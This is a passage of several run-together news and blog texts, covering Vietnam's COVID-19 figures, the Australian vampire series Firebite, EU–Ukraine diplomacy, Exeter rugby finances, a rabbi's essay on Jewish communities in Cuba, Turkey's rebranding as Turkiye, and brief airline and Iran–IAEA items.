1,453,729 community transmissions in all its 63 provinces and cities since the fourth virus wave erupted on April 27. A combined 1,060,611 of them have recovered from COVID-19. Ho Chi Minh City is on top of the caseload with 490,435 patients, followed by Binh Duong Province with 288,279, Dong Nai Province with 93,375, Tay Ninh Province with 41,468, Long An Province with 39,401, Dong Thap Province with 32,454, Can Tho City with 30,370, Tien Giang Province with 29,712, An Giang Province with 27,936, Ba Ria-Vung Tau Province with 22,662, Binh Thuan Province with 22,459, Khanh Hoa Province with 21,206, Hanoi with 20,660, and Da Nang with 8,563. Vietnam confirmed a paltry 1,570 locally-transmitted infections in total in the previous three waves. The health ministry announced 2,992 recovered patients on Wednesday, taking the total to 1,063,428. The toll has spiked to 28,616 fatalities after the ministry documented 283 deaths on the same day, including 74 in Ho Chi Minh City, 27 in An Giang Province, 25 in Binh Duong Province, 23 in Can Tho City, 22 in Dong Nai Province, and the remaining in 18 other provinces and cities. Vietnam has recorded 1,459,175 patients since the COVID-19 pandemic first hit it early last year. Health workers have administered more than 135 million vaccine doses, including 568,806 shots on Tuesday, since vaccination was rolled out nationwide on March 8. Over 75.1 million of the countrys 98 million people have received at least one dose while upwards of 59 million are now fully immunized. Vietnam targets to fully inoculate 100 percent of its adult population this year. Many provinces and cities are immunizing children aged 12-17 against COVID-19, using Pfizer-BioNTech shots. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! When Warwick Thornton learned that smallpox had decimated indigenous populations after the arrival of the First Fleet he got angry. Especially when he realised it had been brought here through vials. Historians have debated whether it was biological warfare, but Thornton is in no doubt. Theres only one reason why you bring smallpox vials to a new country and to an indigenous community thats obviously been isolated from the rest of the world for a very long time, he tells TV Tonight. They did it to North America, they did it to the Chinese, they did it to the Indian people. Were looking for bigger audiences and being smart about how to entertain and educate Rather than simply dramatise the viewpoint literally, he flipped it with a contemporary switch: smallpox was substituted for vampires, in a new series Firebite, co-created with Brendan Fletcher. If Brendan and I were to make a period film set in 1788 itd be a very dark and worthy movie. It would kind of go down the Samson & Delilah track. A smallpox movie would be a great festival film at Cannes. But were looking for bigger audiences and being smart about how to entertain and educate. It was an idea that grabbed Fletcher from the get go when he first heard it in 2014. All of a sudden, my brain just exploded, Fletcher recalls. We actually wrote the first draft of episode one in 2014. I really love the collision of vampires and indigenous cultural history, or the colonisation story of Australia. I love the idea of taking the serious themes of that, and treating it like an action / comedy film. As filmmakers were attracted to bold ideas and fresh ideas and you get a lot of freshness by colliding genres. So its exciting that everything is happening now but this has been a long time coming. The 8 part series, produced by See-Saw Films, was filmed in Coober Pedy, where Thornton had filmed previously. Its opal mining history and landscape allows for a unique take on the vampire genre in a way only Australia could deliver. The vampires hide underground by daylight, emerging safely to the surface under dark of night. There are literally 240,000 abandoned mine shafts all around the town Coober Pedy has been pillaged by people looking for opals for 100 years. There are holes all around town, in a population of probably only 3000 4000. There are literally 240,000 abandoned mine shafts all around the town. As youre flying in, its like a massive piece of Swiss cheese and these holes are seriously deep. If you walk backwards and fall in one, theres no way youre going to be found, Fletcher continues. Were used to Bram Stokers Dracula as being in a castle, or the Twilight vampires being in a North American architecturally designed house. What were not used to in Australia is turning the vampire dungeon or the vampire Castle into an underground lair. Were literally inverting the castle so its underground in the holes dug by the mining industry. No matter how hard we try and just have fun on this show, theres always meaning beneath it. The story centres around two Indigenous Australian hunters, Tyson (Rob Collins) and Shanika (Shantae Barnes-Cowan), on their quest to battle the last colony of vampires in the middle of the South Australian desert. The series also stars Yael Stone, Callan Mulvey, Kenton Pell amongst others. Thornton and Fletcher also arrived at their own take on the vampire lore, to fit with the Australian experience. Theyre darkness-dwelling creatures and that made the tunnels work Its a balance between taking what you want from Gothic vampires, and reinventing it in such a way that you dont break it, but you make it part of your world. We didnt like the idea, necessarily, that garlic or crucifixes or anything like that, repelled them. That seemed to be from a different reality. But obviously, theyre darkness-dwelling creatures and that made the tunnels work, says Fletcher. The other idea we really liked was that when you get bitten, you lose everything all of your identity, your memories, your sense of self, disappears very, very quickly, and youve got to fight to get it back. That has some pretty big parallels regarding colonisation. Its like a colonisation of the body. Its smart to adapt. Aboriginal people have to adapt, Thornton adds. We are who we were 200 years ago, and I think its the same with vampires. Any feral animal that came to Australia has to adapt to the Australian climate -let alone our psyche- to actually survive. Thats what I like about our vampires, in a sense, theyve adapted. Theres a lot of garlic in Australia! Were very multicultural with our food so theyd have to get over that one pretty quickly. The series screens in Australia exclusively through AMC+, who will also take the series to the world. Producers are hoping if it works there it will be a returning series. Weve got three seasons in mind. Well see what happens. Its a little bit up to the algorithms of the world, but weve a sense of where it goes from here, Fletcher remarks. This is super Australian, super black, and super original Im so proud of the fact that we havent had to compromise any of the language or the way that weve staged the scenes. AMC are after unique voices. Theyre after filmmakers that dont just bring a genre story, but (one) from a unique perspective. This is super Australian, super black, and super original. And thats something that were really proud of. Firebite will premiere December 16 exclusively on AMC+, the new streaming bundle available via Amazon Prime Video Channels and Apple TV Channels. By Robin Emmott and Sabine Siebold BRUSSELS (Reuters) -The leaders of France and Germany sought on Wednesday to revive talks with Russia while keeping up pressure on Moscow to deter what the West says may be preparations for a new attack on Ukrainian territory. French President Emmanuel Macron, German Chancellor Olaf Scholz and Ukrainian President Volodymyr Zelenskiy met on the sidelines of an EU summit in Brussels to find ways to restart negotiations in the "Normandy format" that also includes Russia, Macron's office said. "The three leaders reaffirmed their commitment to this format of negotiations in order to find a lasting solution for the conflict and to preserve Ukraine's sovereignty and territorial integrity," his office added. Zelenskiy said Ukraine was ready for any format of talks with Russia but would like to see a strong western sanctions policy against Moscow to avoid further escalation. Some states and leaders were proposing to introduce tough sanctions after any escalation from Russia, he said, adding that in Ukraine's view, that was too late. "We were able to explain to our European colleagues that the sanctions policy after (escalation) no longer interests anyone - our state is interested in a powerful sanctions policy before a possible escalation, and then there may not be a possible escalation." Ukraine is currently the main flashpoint between Russia and the West. The United States says Russia has amassed more than 100,000 troops on Ukraine's borders, possibly in preparation for an invasion. Moscow says its actions are purely defensive. "The message is very clear: Should Russia take further aggressive action against Ukraine, the costs will be severe and the consequences serious," European Commission chief Ursula von der Leyen said. Russia's foreign ministry on Twitter urged the West and Ukraine to implement the peace deals of 2014 and 2015 that include prisoner exchanges, aid and the withdrawal of weapons. Story continues Relations between Moscow and Berlin reached a new low on Wednesday when a German court found that Russia ordered the killing of a former Chechen militant in a Berlin park, and sentenced the agent who carried out the 2019 act of "state terrorism" to life imprisonment. Germany summoned the Russian ambassador after the ruling, telling him that two of his embassy's diplomatic staff would be expelled, Foreign Minister Annalena Baerbock said. Zelenskiy said on Twitter he was hoping for France's support in countering Russia's "hybrid aggression" in Europe as Paris assumes the rotating EU presidency for six months in January. He also invited Scholz to Ukraine and wished to deepen cooperation with Berlin in energy, security and defence - veiled criticism of the Nord Stream 2 natural gas pipeline from Russia to Germany and of Berlin's opposition to weapons deliveries to Ukraine. FULL MEMBERSHIP GOAL After the meeting, Ukraine joined Georgia and Moldova at the summit to lobby the EU to let them begin negotiations to join the bloc. But for now they will only win assurances of support against any possible Russian aggression. The one-day "Eastern Partnership" summit in Brussels highlights the limited success of the EU's approach to the six ex-Soviet republics it embraces, all of them in what Russia considers its backyard where it has security interests. Of the six, Georgia, Moldova and Ukraine are all locked in territorial disputes with Moscow. The leaders of Armenia and Azerbaijan are attending the summit but are not seeking EU membership. Belarus's President Alexander Lukashenko, hit by Western sanctions over his human rights record, stayed away. "Our goal is full membership in the European Union," Zelenskiy said after meeting EU summit chair Charles Michel. The EU will "acknowledge the European aspirations and the European choice" of the five countries concerned, the final summit statement noted. (Reporting by Robin Emmott and Pavel Polityuk; Additional reporting by Philip Blenkinsop, Johnny Cotton and Sabine Siebold in Brussels and Michel Rose in Paris; Editing by Giles Elgood, Philippa Fletcher and Marguerita Choy) Rob Baxter insists Exeter will continue targeting European honours in defiance of a reduced salary cap that he believes could accelerate the supply of English-qualified players. Gallagher Premiership clubs are now operating under a lower wage ceiling of 5million after 1.4m was shaved off their spending capacity because of the financial impact of Covid, while the number of marquee player slots has also decreased from two to one. Due to the way the reduction has been structured, it is not expected to start having an impact until next season when English teams will enter the Heineken Champions Cup from a position of weakness compared to their better-funded rivals from France and Ireland. England forward Jonny Hill is expected to leave Exeter at the end of the season because of the reduced salary cap (Steve Haag/PA) But Baxter will refuse to view Europe as a secondary consideration to the Premiership, even though the scope to sign high-quality overseas players is vastly diminished. We will do everything we can to be competitive. We are certainly not thinking of throwing in the towel in Europe over the next couple of seasons, the director of rugby said. I want to create and be part of a team that is competitive every year regardless of what the salary cap is, its just a slightly different challenge now. It may be something that makes us stronger in two years time. If the majority of clubs spend the next two years focussing on development and if we then move back to the 6.4m cap and back to having two marquee players, it could be a very bright period for those English clubs in Europe. The reduction makes the Premiership way less competitive when it comes to southern hemisphere signings. Opening their account in style @ExeterChiefs sending out a message?#HeinekenChampionsCup pic.twitter.com/Mx3xQi0KT3 Heineken Champions Cup (@ChampionsCup) December 11, 2021 Some of the base salaries in Australia and New Zealand are probably comparable to what we could pay before when we could be very competitive. That is not really the case now. Story continues Whether that will change over the next two years Im not sure, but it will put an onus on the development of players. It could be that in two years time you have got a raft of English-developed players. We are looking at the positives and we are going to spend a couple of years recruiting good value players who we think are going to add to what we are doing here. Exeter opened their Champions Cup campaign by dismantling Montpellier 42-6 and on Saturday they visit Glasgow as they target a place in the knockout phase of a tournament they won in 2020. @ExeterChiefs lock Jonny Gray says he and his team-mates can expect real battle against @GlasgowWarriors in Saturday's @ChampionsCup clash at Scotstoun https://t.co/dxfwThEEvO pic.twitter.com/aPBZxTgOvo Exeter Chiefs (@ExeterChiefs) December 14, 2021 While Covid is once again disrupting European competition, it was an outbreak of flu that has affected preparations for the Scotstoun clash. Weve had one round of it go through the club. We didnt get the guys in on Monday we took a flu break to try and keep them away from each other for a couple of days, Baxter said. The last couple of years have thrown up challenges and you cant use that as an excuse for chopping and changing, we should all be used to it. We have told every member of the squad to make sure they turn up on Friday morning with a bag ready to play because we dont know how many changes we will have to make after Thursdays round of testing. We might suddenly lose five players, but we can still take 23 to Glasgow and those guys have got to get on the plane. You have got to roll with the punches. 1. What do I know? How on earth can I write, as an outsider, about the beautiful, wrenching, poignant, powerful experience of nine days on a religious mission to Cuba? The kaleidoscope of Cuba keeps turning, and every time it turns, the pieces shift and a new picture emerges. In some ways it reminds me of Ghana, or India, or Argentina. In other ways it's not quite like anyplace I've ever been. I am here with a small delegation from Congregation Beth Israel of North Adams, and a larger delegation from Temple Beth El of City Island. I am here with Rabbi Sunny Schnitzer of the Cuba America Jewish Mission, a rabbinic school friend. (Also with Rabbi David Markus of TBE, and with Rabbi Bella Bogart, a rabbi and musician; we three are also founding builders at Bayit.) As soon as we visit our first synagogue, the Sinagoga Centro Sefaradi, I am struck by the locals' fierce sense of identity, Jewish and Cuban. They tell us proudly that they have Shabbat services every weekend, and they always manage a minyan. They tell us proudly that there's no antisemitism here. I half-think it's propaganda, but people keep saying it. Is it possible that it's true? I never once feel unsafe in my kippah. Several times people come up to us and say that they have never seen a woman wearing one before. "Soy una rabbina," I learn to say. "Yo trabajo en una sinagoga." (And sometimes -- when more explanation seems necessary -- I add, "es como una iglesia para los Judios.") For that matter, I never once feel unsafe as an obvious American. On our first full day we lunch with Maritza Corrales, author of Chosen Island: a History of the Jews of Cuba. One of my compatriots asks why she stays in Cuba. She begins by telling us that in 1529, a mere ten years after colonization, they were writing back to Spain to say that they needed to be ruled by an islander because the colonizers didn't understand this place. Maritza travels the world to teach. She could live anywhere, but she chooses here. Why would she want to come to the Estados Unidos where people would call her "Latina" with scorn? She is Cubana. It's easy for us as American Jews to imagine that surely everyone would join us if they could. Maritza has just revealed to me some of my unconscious biases about Cuba and Cubans. We visit a Jewish cemetery on the far side of the city where Maritza tells us stories about those who are buried there. I am moved by the headstones in Hebrew and Spanish, by how tangible the Jewish presence is and feels. As we are departing, a non-Jewish Cuban man who works there pours water over our hands, following Jewish tradition, so that we can wash the cemetery away. 2. The things we carry Everywhere we go on the island we bring medical supplies. Our first two stops are the Centro Sefaradi and the Patronato in Havana. Their pharmacy shelves were bare, emptied since last time R' Sunny was here six months ago. They disburse medical supplies to anyone who needs, Jewish or not. There are other pharmacies (we visit one later) but their shelves are spare too. So much that we take for granted is not available to Cubans. We've brought aspirin, vitamins, diapers, soap, prescription drugs. "Rite Aid or Walmart is like science fiction to us," says one Cuban who has traveled abroad. I lose track of how many times and in how many ways my heart breaks. And I also lose track of how many times and in how many ways my heart soars. Even just in Havana. The chapel at the Centro Sefaradi has light fixtures from Shevet Achim in Old Havana, the first Sefaradi congregation in Cuba, founded by immigrants from Turkey and Syria. Those fixtures still shine. I mean this literally and metaphorically! At the Patronato, I'm moved by the cheery preschool classroom funded by the Cuba America Jewish Mission. The sanctuary at the Patronato looks like every mid-20th-century synagogue I've ever seen. Like the classic cars that serve as taxis all over Havana, it's been repaired and patched and kept running ever since it was new. At home a space like that would feel staid, but it feels different here, even defiant here. It's still here; it hasn't gone away; Judaism hasn't gone away. And yet many Jews have departed. For the United States, for Israel, for Spain, for Mexico. There are fewer than a thousand Jews left on this island. The further inland we go, the smaller the communities we meet -- but the heart and spirit we experience praying with them, eating with them, singing with them, just being with them, is enormous. Outsized. "My cup overflows." 3. Haves and have-nots Our group has many conversations about the Cubans who became exiles at the time of the revolution, about those who chose to stay, about idealism and failure, about the revolution's ideals and its realities, about the kibbutz movement in Israel and whether or how there are parallels, about young people leaving in search of a better life, about what Cuban Jews need in order to flourish. We take our meals in privately-operated restaurants called paladares. As tourists, we never encounter food shortages, though it's clear that everyone is operating with the same relatively limited set of ingredients. We know that because we are tourists, rather than locals, we are getting the best of what there is. When we make hamotzi before our meals, I am awash in gratitude. Most Cubans earn only tens of dollars each month. A doctor, we are told, might earn $60 a month. Everyone seems to need a side hustle. The woman who works as a tour guide at the cigar factory gets cigars as part of her pay, and she can sell them on the side to people like us... when there are people like us here buying things. Of course, these days, there mostly aren't. I've read about the "Special Period" after the Soviet Union fell, but now I'm hearing from people who lived through it. I hear about eating grass to try to fill their bellies. How everyone grew thin. How Habaneros developed scurvy while citrus rotted in the fields because there was no fuel to transport it. "I hope they don't issue us Chinese-made bicycles again," one person jokes. The tightened embargo now, some say, will be worse. "They think if they punish us, we will bend," someone says. "They don't understand Cubans." Later in the week we visit some stores for locals, stores that sell things in CUPs (the Cuban peso) rather than CUCs (the "convertible peso.") I am shocked at how little is on the shelves. The embargo has tightened. There is less to be had. Farmers may return to plowing with oxen; without fuel, tractors won't run. How is it that people here don't hate us for all that we have? Being here is making me aware of what I take for granted at home. I'm also noticing kinds of abundance here that I don't encounter at home. Abundance of beauty and color: back home the trees are bare at this season, and houses often drab, but here trees and fields and paint colors are vivid and bright. And especially abundance of music. Cuba is justifiably famous for music. The music on this island is extraordinary. I keep trying to write about it and then giving up. I could as easily write about a rainbow, or about falling in love. Anything I can say would be trite. The rhythms, the harmonies, the omnipresence of beat and song: all move me. I'm thinking a lot this week about how prosperity (or lack thereof), and music, and spiritual life interact. And I'm thinking about the things that my little community takes for granted. I think about how much easier it seems (to me) to be a Jew where I live than it is here. And I wonder whether there's an inverse correlation between ease and attachment. Do we naturally become less attached to our traditions, our spiritual lives, and our Jewish identities when they are easy to maintain? 4. A heart afire Some who come to Cuba only visit Havana. Havana is indeed a beautiful city. It is golden and it is crumbling and the classic cars and the Malecon (the waterfront road) are as beautiful as everyone says, as every photo reveals. But R' Sunny insisted that we need to get out into the provinces to get a more nuanced picture of Jewish Cuba and Cuba writ large. He was right. We drive past lush green fields of banana trees and sugar cane to Cienfuegos, our first provincial stop. First we gather on the roof of an opulent former mansion, where we sip mojitos and gaze at a rainbow (appropriate during this week of parashat Noach!) Then we visit the home of the Langus family. Rebecca Langus welcomes us and (with our guide as translator) tells us her story. She always knew she was Jewish, she tells us, but she didn't learn what that meant until 1992 when the state officially exchanged its atheism for agnosticism. When Rebecca was growing up, her Turkish grandmother insisted that they eat matzah (sent each year by the Joint Distribution Committee) at Pesach -- but she never knew why they ate it or what it signified until the 1990s. She tells us how she taught herself everything she knows about Judaism -- gesturing to their small library of Judaic books, all donated by communities like ours -- in order to teach her children. The community in Cienfuegos now is eight families: eighteen people, three of whom are children. They meet for Shabbat services in her living room, set up with white monobloc chairs. After her prepared remarks, she chats with the rabbis on our trip. We ask her what fuels her and where she finds her sense of hope in this work. In response, Rebecca tells us simply that everything she does, she does for love. That would have been clear even if she hadn't said a word. Her care for her community and for Jewish tradition shines out of her face, out of her being. What does it take to persist as Jewish community in a place like this? To show up for Shabbat every other week because there are literally only eighteen of you and if a handful don't show, there's no minyan? Is there something about being in a place where religion used to be forbidden that makes people now want to claim the right and privilege of spiritual practice in community? What does it take to profess and choose and celebrate Jewishness in a place where the economic picture is so difficult that many young people choose to emigrate to Israel, or Mexico, or Europe, or wherever else they can? We ask what would help the communities most. The answer I keep hearing: convince our government to end the embargo so Cuba can thrive again. 5. Tourism and syncretism We are also tourists. Our primary purpose is meeting Cuban Jews and delivering medicines, but we also take a day trip to Trinidad. It was abandoned for 85 years, which is why it's one of the world's best-preserved examples of Spanish colonial architecture. On the way there, we pass a Russian nuclear plant that never worked. Some things in Cuba feel like a Kafka story. In Trinidad the streets are "paved" with local stones and with cobbles brought as ballast from Europe. There are men in guayaberas with instruments, playing Guantanamera beneath shady trees. There are artisans selling lace and embroidery and wooden boxes of dominos, their prices lowering as we walk past. There aren't many other tourists -- at least not that I can see. From the luxurious rooftop paladar where we lunch I see children playing amidst red clay tiles and chicken coops. They wave at us. Dare we hope that our tourist dollars are helping them? When we get back to our stunning old Cienfuegos hotel I go for a swim in the pool in the courtyard. How can I square this gracious opulence with the deprivations that locals take for granted? This place is extraordinary. Beautiful. Musical. Literate. And the Cuban people I meet everywhere we go clearly feel pride in who and where they are. And it's also clear that they need the help, medical and fiscal, that we're here to bring. I'm thinking about scarcity and poverty... with awareness that those things exist in my country too. My usual orbit just allows me not to see them. On our first full day in Cuba we visited an apartment in a working-class neighborhood of Havana where two women taught us about Santeria (also known as Regla de Ocha). Santeria is a religious tradition that intertwines Yoruba orishas (which the translator renders as "guardian angels") with Catholicism. Seventy percent of Cubans have some interaction with Santeria. We learned about the altars, the figures depicted there, appropriate offerings for each and the relationships between them. We learned how the initiation process works. I was fascinated by how it dovetails with going to mass. Apparently the local Catholic priests recognize Santeria initiates, and don't seem to mind the religious syncretism. (Or at least, they allow it to continue.) Some of what the women in that apartment shared with us is utterly unlike Judaism. And some of it evokes ideas from my tradition. Maybe inevitably, I'm always looking for resonance. I wonder what it was like for these women to host this group of American Jews. I worried that they might feel exposed, but they seemed delighted to be able to share their tradition with us. After that visit, whenever I see someone wearing all white I wonder whether that person is a Santeria initiate. Many of us in this Jewish tour group wear all white on Shabbat, a custom that comes from the mystics of Tzfat who created the Kabbalat Shabbat service as we know it. Maybe the locals, seeing us in our Shabbat whites, imagine that we are Santeria initiates too. 6. Holy spirit Our next stop is Sancti Spiritus, where motorbikes and bicycles share the roads with horses pulling wagons that serve as group taxis. As in Cienfuegos, our historic hotel is old Spanish-style, built around central courtyards, with old heavy wooden furniture. It feels a million light-years away from the hip mid-century-modern (as though frozen in time) decor of our Havana hotel. On Friday night our bus takes us on a winding route out of the old part of town and to the home of the Barlia family. Like many houses here, theirs has iron gates and window coverings -- but their wrought-ironwork proudly displays stars of David. The Barlia family hosts, and leads, Kabbalat Shabbat services for Jews of this province twice a month in the courtyard of their home. This Shabbat their daughter Elisa is becoming bat mitzvah. She lights Shabbat candles in front of a celebratory photograph of herself holding a Torah. She and her sister and R' Sunny lead us in Kabbalat Shabbat, welcoming Shabbat into our midst. Over our heads, a metal grate that looks like fish scales shows the changing colors of the sky and the early-Cheshvan crescent moon. As in Buenos Aires ten years ago, I am struck by why it matters that Jews pray in Hebrew. Most of us in this group don't share a common language with Cubans. At best we can manage a few phrases. (A couple of us are fluent; most of us... not.) But we can pray with them, welcome Shabbat with them. We can sing ancient words with them, and in those words, our hearts connect. The bat mitzvah continues on Shabbat morning in Santa Clara, where we convene at Beth Am, a project of the Cuba America Jewish Mission, the nonprofit behind our religious / medical mission to Cuba. Beth Am is the first (and only) new synagogue in Cuba since the Revolution. (It's in a new building, but was a preexisting community; no "new" houses of worship can be built.) The shul is small, and beautiful, and we fill it: 20 Americans, a few of whom have been coming here for years and know the Barlia family well, and a few dozen locals here to celebrate one of their own. We daven and we sing. The four rabbis on our trip bless the bat mitzvah (with words that I wrote, translated into Spanish!) and we join the Barlia family in chanting from Torah. After the service we feast on the rooftop of the shul, beside a wall of painted clay tiles that depict different sites across Jerusalem. Before we leave, we gather again in the sanctuary with two guitars and a ukelele and we sing and dance and rejoice. What a mechaieh, a life-giving thing, to get to join the local Jewish community in filling this little synagogue with holy spirit. 7. Cognitive dissonance Once we leave shul, we shift gears and visit the Cementario Israelita, the Jewish cemetery of the central provinces. (Ordinarily one wouldn't visit a cemetery on Shabbat, but we are packing as much as we can into the time we have.) The cemetery is down a narrow dirt road, surrounded by an impoverished neighborhood of small cement-block dwellings with corrugated roofs. We gather inside the cemetery and hear words from David Tacher Romano, president of the Santa Clara Jewish community, translated by our guide. We take turns watering the tree planted as a sapling that came from the Negev. Here too there is a room by the gates where bodies are prepared for Jewish burial. We learn that that room was used just a few months ago, in February. A scant few minutes later we are at a Che Guevara memorial. The plaza is vast and I can imagine it filled with crowds. I don't go into the tomb: I've had enough of death for one day. Instead I sit on a low stone wall, and watch a trio of stray dogs chase each other around the grounds, and watch the enormous Cuban flag waving overhead, and sip a tiny cup of strong dark hot coffee. And then our bus pulls off the road and we are in another world. We're at a Cuban resort on the outskirts of Santa Clara. There are little round houses with thatched roofs (and air conditioning), and a swimming pool where Spanish disco is blaring all afternoon. Many of those present, our waiter tells us, are locals -- if they have money, Cubans can come here, and many do. Suddenly it feels like a Caribbean resort. But we were just in a poor neighborhood. And then we were surrounded by propaganda. And now there are couples necking in the pool, and children of all hues wearing floaties, and the thump of Spanish-language pop music. Also there are free-range chickens. And just this morning we were at a bat mitzvah. My head is spinning. By Saturday night when Shabbat ends, my brain feels thoroughly scrambled from the cognitive dissonance. The beautiful little Santa Clara shul. The bat mitzvah girl herself, who reminds me in some way of every kid I've ever taught. And then the cemetery, and its neighbors whom our guide says may be squatters. The Che Guevara memorial. This resort in the middle of it all. "Cognitive dissonance? That's Cuba," Rabbi Sunny tells me. 8. Miracles in Camaguey Our final stop is Camaguey, where we admire Spanish colonial architecture and beautiful narrow streets (which we tour via "bicitaxi.") It is our last full day in Cuba and I can feel my gears grinding. I am overstimulated, my mind racing with images and questions. I want to spend a few years studying political economy so that I can better understand what I've just begun to see. And then we reach Tifereth Israel, the Jewish community of Camaguey. They meet in an old house: a little sanctuary, and a social hall, and a room for feasting, and an arbor in the back where pomegranates grow. From the moment we walk in, the joy is palpable. Dra. Sara Bedoya Pulin, the president, welcomes us warmly. There are 32 people in the Jewish community here. We go around the room and introduce ourselves. And then we sing. Two of us have guitars and one has a ukelele and we all sing niggunim (wordless melodies) and songs together. "Hevenu Shalom Aleichem." "Am Yisrael Chai." Welcoming the stranger. Asserting that the Jewish people yet lives. Old familiar words, but they take on a spine-tingling resonance here. We ask the Cubans what they sing when they are feeling grateful, and they lead us in a shehecheyanu. There is dancing. There is beaming. The little girl beside me is shy at first, and then -- when I give her a "You Are Beautiful" sticker and translate it for her ("tu eres bella"), she smiles at me and no longer seems afraid. I experience a feeling of welcome from their hearts to ours. And then the rabbis walk into the sanctuary. Their aron kodesh (holy ark, the cabinet in which Torahs are stored) is painted with letters of the alef-bet flying upward. Evoking the mystical teaching that the world is made out of holy speech, and the Hasidic story about the humble person who recites the alef-bet and the letters fly up to heaven where God assembles them into prayer. It is dazzlingly beautiful to me. We walk up to look at the ark, and I feel a spiritual energy that I can't quite describe or explain. On the amud, the Torah reading table, is a prayerbook open to the words we were just singing in the other room: Am Yisrael Chai. The people of Israel live. This Godwrestling people yet lives. What a miracle it is that we are here and alive. What a miracle. We have brought pharmacy supplies, and they have prepared a feast for us. Someone made the long drive to the ocean to get us fresh red snapper. And there is yuca, and rice, and papaya, and pineapple, and cucumbers, and avocado. We sit at a long table, and those of us who barely share a language communicate in smiles and broken phrases and pressing our hands to our hearts. Down at the other end of the table, Rabbi David who is fluent in Spanish is asking a young man what makes him stay here. His answer: sure, he could go anywhere in the world. But he would lose his connection with his family. And the closeness of the Cuban family and community is precious. It is worth more than the money he could earn if he were to decide to leave. 9. Coming home What can I bring home to my own Jewish community from Cuba? I want to bring home an awareness of how lucky I am to live as I do -- and how that good fortune makes me responsible to do what I can to lift up those who are in need. I know it won't be long before I settle back into "regular life," and the incredible abundance of my life will cease to be a shock to the system. I hope I will be able to wake myself into remembering again. I want to bring home an awareness of what I don't have -- what I've seen here among the Cuban Jewish community that is more precious than my pleasant first-world standard of living. The connection to family. The connection to place. The preciousness of connection with Jewish tradition and spiritual life -- especially in a place where one can't take Jewishness for granted. I want to bring home (and share with my community) a sense that we are truly part of clal Yisrael, the broader Jewish community. This community of tradition and spiritual life connects us across time and space. Talmud teaches (Shavuot 39a) that all of Israel is responsible for one another. We are family with the Jews of Cuba. We are responsible for them and to them Of course I don't just feel responsible for or to my fellow Jews. I also feel an obligation to help human beings everywhere who are in need. That tension between particularism and universalism is woven throughout Jewish tradition. The obligation to care for "our own" and the obligation of tikkun olam, repairing the whole world's brokenness, both are core Jewish obligations. What responsibility do I have to people in other nations whose lives are shaped by the policies my government enacts? For that matter, what responsibility do I have to people in my own nation whose lives are shaped by the policies my government enacts? As someone who lives in relative comfort, what responsibility do I have to those who don't? I'm bringing home these questions. And experiencing Jewish Cuba has shown me Judaism's beauty in new ways, and I want to bring that home too. I've loved seeing how Judaism in Cuba brings light to people's eyes and joy to people's hearts. I've loved difference and common ground. I've loved seeing my familiar tradition -- words, ideas, practices -- translated into a different idiom, literally and metaphorically. And especially in the provinces, I've been moved to encounter tiny communities that celebrate their Jewishness week after week with joy. My small Massachusetts town is different from Cuba in almost every way. But we can be inspired by our cousins in Cuba and the Jewishness they keep (and that keeps them) vibrant and spiritually alive. Their existence enlivens our Judaism too. I hope to someday return to Jewish Cuba, and to bring more members of my community to Cuba with me next time. So that they too can have their hearts and their sense of Jewishness expanded by this complicated, intense, heartbreaking, beautiful place -- and by the Cuban people, whose generosity of spirit humbles me, and whose light continues to shine. If you're interested, you can also see more of my Cuba photos on Flickr. Any errors in this essay are my own. Offered with infinite gratitude to the Cuba America Jewish Mission, Congregation Beth Israel of North Adams, Temple Beth El of City Island, and most of all, the Jews of Cuba who shared with us their stories, their communities, and their hearts. Turkiye's authorities have decided to rebrand their country's international image. Earlier this month, Turkiye's President Recep Tayyip Erdogan issued a communique, tweaking the country's internationally recognised name from "Turkey" to Turkiye, TRT World reports. "The word Turkiye represents and expresses the culture, civilisation, and values of the Turkish nation in the best way," said the communique. Countries changing or tweaking their names is not as unusual as one might think. The business of nation-branding can happen for a whole host of reasons, whether to rise above cliches, present a more positive image or even for politics. In recent years a whole industry has arisen catering to countries and cities seeking to promote themselves internationally and taking charge of how the world sees them and their unique identity. Most recently, the Netherlands dropped the name "Holland" in a bid to simplify its image to the world. And before that, "Macedonia" changed its name to North Macedonia due to a political dispute with Greece. In 1935, Iran changed its name from Persia, a name that Westerners mainly used. The word Iran means Persian in Farsi, and at the time, it was felt that the country should call itself with the name used locally, not a name seemingly imposed from the outside. As many as eleven countries have changed or amended their names over the decades. So why Turkiye? Well, in the Turkish language, the country is called Turkiye. The country adopted this name after it declared independence in 1923 from the occupying Western powers. Over the centuries, Europeans have referred to firstly the Ottoman state and then to Turkiye by many names. But the name that has stuck most is the Latin "Turquia'' and the more ubiquitous "Turkey." Type "Turkey" into Google, and you will get a muddled set of images, articles, and dictionary definitions that conflate the country with Meleagris otherwise known as the turkey, a large bird native to North America which is famous for being served on Christmas menus or Thanksgiving dinners. Flip through the Cambridge Dictionary and "turkey" is defined as "something that fails badly" or "a stupid or silly person." That association, while not flattering, has its roots in a mix-up that goes back centuries. One version of history has that when European colonisers set foot in North America, they ran into wild turkeys, a bird that they mistakenly assumed was similar to the guinea fowl, which was native to eastern Africa and imported to Europe through the Ottoman Empire. Europeans called the guinea fowl the turkey-cock or turkey-hen - and the rest is history, and a dinner table menu. The vast majority of people in Turkiye feel that calling the country by its local variation only makes sense and is in keeping with the country's aims of determining how others should identify it. In a nod to that, the recently published communique was clear that "within the scope of strengthening the 'Turkiye' brand, in all kinds of activities and correspondence, especially in official relations with other states and international institutions and organisations, necessary sensitivity will be shown on the use of the phrase 'Turkiye' instead of phrases such as 'Turkey,' 'Turkei,' 'Turquie' etc." Yet, the government's announcement is only catching up with what some business associations have been practicing for decades. In January 2020, the Turkish Exporters' Assembly (TIM) and umbrella organisation of Turkish exports announced that it would use "Made in Turkiye" on all its labels in a bid to standardise branding and the identity of Turkish businesses on the international stage. A recently established airline FlyOne Armenia has cancelled its first flights to Moscow, scheduled for December 15 and 16, it emerged earlier today. The airline said the flights were cancelled "due to unforeseen circumstances. The airline said in a Facebook post that it has taken measures for the quick and safe transportation of all passengers who had bought tickets for these flights. It also said its employees were in constant personal contact with all the passengers to ensure that they receive the whole package of services. No one is left out and no one will be left out," ARKA cited the airline as saying. The airline said also the flights to other destinations will be operated according to the previously announced schedule. The Iranian Foreign Ministry's spokesman Saeed Khatibzadeh said that ongoing discussions between Mohammad Eslami, head of the Atomic Energy Organization of Iran (AEOI) and Director General of the International Atomic Energy Agency (IAEA) Rafael Grossi have led to progress and that gaps over several issues of mutual interest have narrowed. "I don't want to go into details but I can anticipate that the two sides reach an understanding soon," Khatibzadeh told Press TV. Earlier in the day, Eslami told reporters on the sidelines of an event in the Iranian capital, Tehran, that the cooperation between Iran and the IAEA will only by limited to the UN 